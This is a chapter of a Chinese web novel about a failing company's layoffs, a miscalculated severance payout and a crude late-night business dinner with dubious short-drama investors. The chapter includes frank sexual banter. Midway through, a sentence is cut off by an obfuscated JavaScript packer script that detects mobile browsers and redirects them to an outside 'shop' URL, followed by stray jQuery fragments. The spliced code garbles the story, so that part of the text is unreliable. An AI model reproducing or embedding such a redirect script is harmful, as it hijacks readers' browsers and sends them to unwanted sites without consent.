12. 精彩的饭局
作品:《被造黄谣后我旁观全司团灭》 被开是不幸的,对于这样烂摊子也注定要垮掉的项目来说,被开也是好事,一来有赔偿,二来有3倍赔偿啊!
啊?听说过当即辞退的2倍赔偿,听说过协商一致的给n+1赔偿,可3倍赔偿是哪里来的规定?
原来会计和W堂妹商量赔偿金额的时候,会计一看和钱相关,这可是自己的大功劳啊,必须自己办得合法又漂亮好给老板邀功。于是自己一肩挑起这个重任计算出了最终3倍赔偿的结果。
我也是听娜娜和芳芳两位幸运儿说了才知道。她俩一个实习的一个才毕业一年,都还没被辞退拿赔偿的经验,也跑来问我这个赔偿金对不对。只多不少哪里能不对,我表示当然可以签啊,当场结算走人。
我也好奇会计咋算出来的这个赔偿金额?于是后来她溜达来前台和我“聊天”,我就难得配合询问了一下,她当场骄傲地告诉我:她咨询了自己资深的律师朋友,朋友告知她,立即开除员工需给2倍赔偿,但要给一个月时间交接工作,这个月是得给算工资的,如果要让人当场就走,需得给1个月代通知金,不然就不合法。
也就是说,这些呆过了半年没满一年的员工,都得给2×1+1=3倍赔偿。
我不多的拿赔偿金经验告诉我,这算法根本就有问题啊。不过既然会计已经办了且办好了办成了对上邀功的大功劳,那谁吃盐多了闲的去提醒她呢。
其实我也不是没提,她骄傲说完之后我就说了,这我曾经拿过,只在2n和n+1任选,没听过更多的。当然孕妇不算,那可是极其复杂又金额不低的赔偿方式。
她当然不会相信我的说辞,信誓旦旦表示:我的律师朋友从业三十多年了,绝对专业可信的。
Ok,fine.
两位同事拿着赔偿被开了,大家不可能不过问的.作为工人阶级联盟,娜娜和芳芳也毫不避讳展示了赔偿金。
天呐!剩下的哪个不比这俩小毛头混职场资深啊,这赔偿算法简直是太美妙了。早受够了混乱的管理和无望的公司,要不是自己走没赔偿,谁愿意呆啊!大家顿时都羡慕极了两位幸运儿,也跃跃欲试期待自己被开。
可想而知,两位直播的总这招杀鸡不仅没起到儆猴的作用,还起了反效果。这下更没人要签这个全新的绩效考评标准了。
当然,他们幻想的开了没用的人整肃了团队后,就会变好和出业绩的直播也并未如期到来。也不知道他们一直没给解决方案,又是怎么让自播官媒同意再开一场直播的,总之期间他们到底又播了一回,还是以极其惨烈的姿势脸着地了。
这次之后就再也没开播了。哦不,是官媒已经不给登录和开播了。事情闹成这样,也不知道老板知不知情。
她知不知情我不知道,倒是这天快下班了收到她消息:叫上小W运营总监抓紧打车来XXX餐吧。
不是,这马上下班了啊,还要加班?关键是,这和我一个“其他项目总经理”有什么关系?我正想着用什么理由拒绝,她又发了一条:有个新发财的项目,你来听听把关把关。
我皱眉编辑回复文案的时候,W堂妹和运营总监却兴冲冲来到了前台,叫我快点一起打车出发。我寻思,反正也没事干,去就去吧,当看乐子了。
在餐吧灯红酒绿的大厅和W总裁及她带的两个朋友碰面后,W总裁就让服务员安排了一个包间,大家边吃边喝边聊。
确实是个新项目。她那两位朋友,一个肥头大耳尖脑袋的,说是什么资深短剧投资人,一个衣着清爽简洁却画眉擦粉的大男生,说是慢脚短剧的官方工作人员。
也不知道是谁给W总裁介绍的,她瞄上了短剧赛道。两位直和她说直播带货已经下坡路了不行了,不建议跟投,倒是短剧在上升,好多投资人都进来赚热钱呢,叫她一定要抓紧进来一起发财。
我寻思这新项目叫我来也没啥,虽然我在等收尾工作走人,但挂个新项目总经理的名头来给她凑人头充场面也就算了。可叫直播的运营总监来干嘛?这短剧和直播也没关系,她没必要叫运营总监来啊,他一个直播带货都搞不明白做不起来的,难道还懂短剧的操作?
我没疑惑太久,那俩和W总裁看似侃侃而谈实则胡吹海吣的,就和运营总监也聊上了,哦不,是运营总监主动展示外交能力,也想攀上两个“大人物”,跟他们吹上了。
我听了会儿,这两方是谁也不懂谁。那个精致的大男生是慢脚官方的,倒是应该有点东西,只是毕竟不是实操人员,只能讲些平台规则。那个肥头尖脑袋的就不用说了,我学经管的也修过一些投资学,爱关注一些投资人,就没见过哪个有真水平的投资人是这样瞎吹胡侃的,我看他更像个说书人。
至于运营总监,他满带崇拜的眼睛看着两位大哥,只会说投流他很懂的,直播投流和短剧投流也大差不差,无非是研究人群诸如此类。
真是无聊的饭局。这俩的身份也不知是真是假,要是真的,那世界可真是一个巨大的草台班子。
都在餐酒吧聚了,那这饭局就不是什么很正经的商务饭局了,只谈工作多没意思啊!何况正经商务饭局也不会只谈工作的,尤其有老登的饭局,不玩点花的开些玩笑做些游戏,那合作都成不了。
果然,没一会儿W总裁又在线摇人,摇来了两个妆容精致的丽人。这俩我见过一次,是她别的投资项目的合作人和她的助理秘书。说起来那会儿W总裁还跟我夸赞那个精致小巧的秘书,说人家多会来事儿多殷勤,我虽然不是她的助理也胜似秘书,一点儿没人家能提供情绪价值和商务饭局上的机灵。
这不,两位丽人才坐下,立即就说来晚了自罚三杯。
问我啊?我从最初W总裁带我参加饭局就说过,滴酒不沾。对,我就是传说中的靠实力吃饭的犟种愣头青,如果谁说非要喝酒才合作,那这合作我宁愿不干。这世界上那么多钱可以赚,不沾酒的总有吧,何况我对很多很多钱并没有那么强烈的占有欲,差不多得了。
两位丽人和W总裁以及W堂妹都妆容精致的,运营总监看着瘦巴巴肚子平平的酒量倒是不小,一众人把两位主力吹的嘉宾一人一句捧得高高的,又是开玩笑又是划拳喝酒,几人相谈甚欢。尤其那尖脑袋的,一直盯着被他渊博学识震惊得张目结舌又呵呵直乐的W堂妹。
我一身灰扑扑的还素着脸又肃着脸,两位嘉宾自然不会和我搭话。我也基本看穿了两人的水平,对短剧兴趣缺缺,不想多掺和他们的话题。
到底两位丽人是来热场的不是来谈项目的,很快两位嘉宾也上道地把话题转移到了床单那些事儿。
要说这话题跨度咋一下子就那么大了呢,还得是因为那位慢脚的大男生。原来他是盖,这是尖脑袋直接拿出来说的,原来他俩因为合作并且喝了几场酒成了朋友,他俩显然是真朋友,这大男生被抖落了这本来隐私的事情,也没变脸尴尬,直接毫不掩饰大方坦然承认,并表示他有对象。
尖脑袋作为见多识广的投资人,自然要好好表现下自己的眼界。于是开始给几个对盖十分好奇的性缘脑直女科普起男同志之间的那些事。
“这事儿啊,男同志和女同志不一样的,男同志都是上来先睡,睡的感觉对了,再谈感情能不能处。要是睡的感觉不对,那就快乐完了一拍两散……”尖脑袋傲视众人,神秘兮兮地讲故事,尤其见W堂妹红了脸,他脸都快笑烂了,那颧骨的肉都颤抖起来。
有一说一,我完全能接受任何性取向,但是尖脑袋这种非本人属性群体,一口一个同志在这里大肆讨论别的群体的感情和性.生活,叫我一个心态开放的红色后裔实在忍受不了。
何况人家属性群体的当事人就在席上还没言语呢,他一个眼睛流连在W堂妹胸口的猪头三,怎么好意思在这里大放厥词的!
我真是出离恶心!
显然席上另外四位女士不这么觉得。W堂妹年纪小又不接触这些,所以只听得好奇又脸红。W总裁和她那好闺蜜女老板,两个都生养了孩子的,纵然对男男不了解,对男女床上那点事儿倒是表示是各种老手,不过对男男如此不同的床单事也频频表达了惊讶惊奇。
“那他们怎么做那个事情呢,他们也没有女人的通道啊?”W总裁对此可太好奇了。
“用后面啊!而且他们也不跟男女似的,只能那样,他们还能用好多小玩.具,都快塞的,也很舒服!”尖脑袋绘声绘色仿佛自己亲历。
W总裁的丽人闺蜜女老板有些眼睛脱眶,“啊?那不是很脏。不是,关键那能舒服吗?”
大男生哈哈哈笑起来,“能啊!男的只要刺激前列腺,都可以的。”
四个女人表示无法理解。人无法想象自己没见过的东西。
尖脑袋得瑟又体贴地说,“嗨,我给你们女人讲这些,不是吓唬你们,你们不懂。这男男玩得比你们男女的花得多了,是吧老弟?”
丽人秘书突然在那里嘿嘿嘿笑了两声,大家都朝她看去,只见她也耳朵红红的,“……唉呀,我知道的。”
丽人女老板立即恍然大悟地拍手,“是是是,Vivi之前做过外教,交过两个外国男友,外国人对这些也可开放了,她懂的!”
尖脑袋立即点头,“那是,外国人玩这些花样更多了,荤素不忌的。来,咱俩碰一个。”他冲Vivi举杯,两人欢快一饮。
可能是Vivi的突出表现又让W总裁想到了我,她朝我看来,见我面不改色兴趣缺缺的样子,好笑地说,“我们小M一定是没听懂。她没男朋友也没女朋友哈哈哈哈哈。”
不是,倒也不必这样试图让我融入你的朋友圈。我可不是什么糟烂人都要做面子打几句嘴炮的。
不过她的笑话显然很好笑,席上荤素都来的众人仿佛见到古生物一样地朝我看来,没想到能真的见到活的母胎solo那惊悚的扫视,叫我觉得更加无聊了。
我支起手撑下巴,眯眼笑笑看那尖脑袋,“你们说的这些我都懂,勤上网勤学习多看看,有些东西不是要活生生发生在眼前才会明白的。而且这种事,两个人三个人管他几个人关起门来那可能是情趣,拿出来当笑话说也没什么意思。”
尖脑袋有些狼狈地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163818|196607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
移开眼。对付这种人,我可太有经验了。
W总裁却没听明白我的话,只坚定地说,“你不懂,这事儿眼睛看看和耳朵听听和真的做是不一样的,等你睡过男人就会明白了。”
我不置可否。她们继续好奇地询问尖脑袋和大男生,到底男男之间怎么做的。有趣的是,运营总监也听得一脸兴奋,他太过积极的态度,叫我都忍不住为他那在家带娃的老婆捏把汗。
十一点的时候,这精彩的饭局还没散场。
两位丽人说明天一早要出差赶飞机,准备辞行了,W总裁表示叫了司机来要亲自送她们回去,自己也顺便和她们一起走。她嘱咐运营总监要陪两位喝尽兴,又说W堂妹再稍陪一会儿把几位各自送走就抓紧回家,这便和两位丽人起身走了。
我也紧跟着背起包来到门外准备撤了,门口等司机开车上来的W总裁叫住了我:“小M你帮我等等小W,留她一个搞不定的,那俩喝嗨了运营也醉了,怕是找不着北。你们赶紧叫车给各自送回家,拉不动就叫服务员帮忙,然后再打车回。”
我本欲拒绝,想到到底她说的对,三个醉鬼让小W一个小女孩哪里收拾得动,既然是马上给叫车送走,那只要拉下来塞上车就行。
我回转到包厢,只见刚刚我出门前还支棱着划拳的三个男人已经东倒西歪。尖脑袋抱着椅子呼噜震天好像睡着了。大男生坐在沙发上撑着双腿,摇头晃脑地呕吐,酸臭味很快充满整个屋子。
W堂妹拉着运营总监,一手拿着个手机,一遍遍问他到底是哪个地址,显然是要帮他打车回家。运营总监烂泥似的靠着她傻笑,又低头去看手机,差点栽倒,叫W堂妹一把抱住才没让他滚到地上去。
这一团乱,简直让人要发疯。我摁掉显示屏上海在播放的音乐和闪烁的灯光,只想速战速决。
“都给我起来,回家了!”我吼一声。
尖脑袋好像给吓醒了,划拉着腿撑起来,醉得不轻地说,“啊?啊?回家,哦,回家,走。”
他抱起椅子上的外套,脚步虚浮歪七扭八地往门外走。还不错啊,省事儿了,比那两个被我一吼站起来走了两步就软倒在地打滚半天爬不起来的,强多了。
“哥,起来!起来啊!”W堂妹死活拽不起来运营总监,又见尖脑袋出了门,惊叫起来,“哎哎!你打车了吗?你知道怎么回吗?”
我真的头痛欲裂,“你赶紧追上去给他把车叫了,看他坐车走再回来。我先喊服务员来架这两个,问出地址叫车给他们塞上去,打电话叫他们家里人接。”
六神无主的W堂妹立即答应,走到门口又转回来,“M姐,你跟我一起去吧,我怕他醉倒了我拉不动。”
别耽误时间了好吗,我还要回家呢!我真的想仰天大喊。
她又赶忙说,“这俩醉了也走不动,你一个人不好处理,我俩送走他再回来送这俩,可能更快点。”
我看着外面十一点多的夜色,想到刚刚下楼在门口都没见人,小姑娘害怕也正常,便同意了。我俩立即追出去,不想那路都走不稳的醉鬼尖脑袋却没了人影,直追到大门口,才见他抱着衣服坐在台阶上。
“欸?”我过去一把薅住这死猪胳膊,不想被他一下子挥开,那力气还不小呢。
“别碰我!”尖脑袋含含糊糊地嘟囔,“我要回家!”
“就是送你回家啊!”姥子不爽了,“起来叫车!”
“我回家,我叫车!”他扬扬手上的手机,确实亮着缺德地图呢,看样子还叫到车了。
行,那就等车到了给他踢走好了。很快,他手机响了,却跟聋了一样听不见,就是不接,W堂妹去给他抢手机,他还不给。我又要去扒拉,他又给我挥开。
几下之后,我发现了不对劲,这贱皮子怕不是装醉吧。咋他每次都能精准避开我?挥人那力道和姿势,一点也不像醉了的状态。而且他怎么不挥开W堂妹呢?她拉着他的手要去掰那手机,他一边任她拉着手躲来躲去一边捏得死紧不放手机,咋就那么巧妙呢?
我往路口看了看,只见一辆白色小汽车打着双闪停在路口,十有八九就是他叫的,“你车到了,赶紧起来往路口走!”我又吼他一嗓子。
他下意识朝路口看,回头又做出那副醉得臊眉耷眼的样子,“我……我……回家。小W你送我,我回家。”
这语气咋不像是刚第一次见面的人啊?我疑惑。
就听W堂妹说,“走走,我送你回家,你起来啊!”她嗓音娇弱无力跟撒娇似的,拉拔的力气也娇弱,“你起来,我拉不动你。M姐……”
她向我求助,我思考了一下,然后伸手,果然尖脑袋又开始挥我。
这贱皮子绝对是装的!他为什么要装这样?他到底有什么居心?我不禁眯起眼打量他的脸,誓要看穿他的脸皮。
尖脑袋的胳膊坠着W堂妹的手,就是死活起不来身。手上的铃声断了又响起,路口的骑车按了两下喇叭,然后走了。
“你TM到底走不走的?你叫的车都走了!”姥子不想慢慢研究他了,只想他立即滚蛋。

